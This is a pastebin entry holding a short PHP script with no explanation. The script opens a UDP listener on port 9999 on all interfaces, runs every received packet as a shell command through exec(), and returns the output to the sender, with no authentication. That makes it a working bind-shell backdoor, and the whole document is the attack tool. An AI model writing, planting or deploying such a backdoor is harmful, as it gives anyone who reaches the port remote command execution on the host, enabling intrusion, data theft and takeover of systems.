Paste #265665

<?php

$sock = socket_create(AF_INET, SOCK_DGRAM, 0);
socket_bind($sock, "0.0.0.0" , 9999);
$i = 0;

while(1)
{
  $r = socket_recvfrom($sock, $buf, 512, 0, $remote_ip, $remote_port);

  exec($buf, $fifo);
  $fifo = implode($fifo);
  echo "$remote_ip : $remote_port -- " . $buf . '\n\r';
  socket_sendto($sock, "OK " . $buf . $fifo, 10000 , 0 , $remote_ip , $remote_port);
  
  
}

socket_close($sock);
?>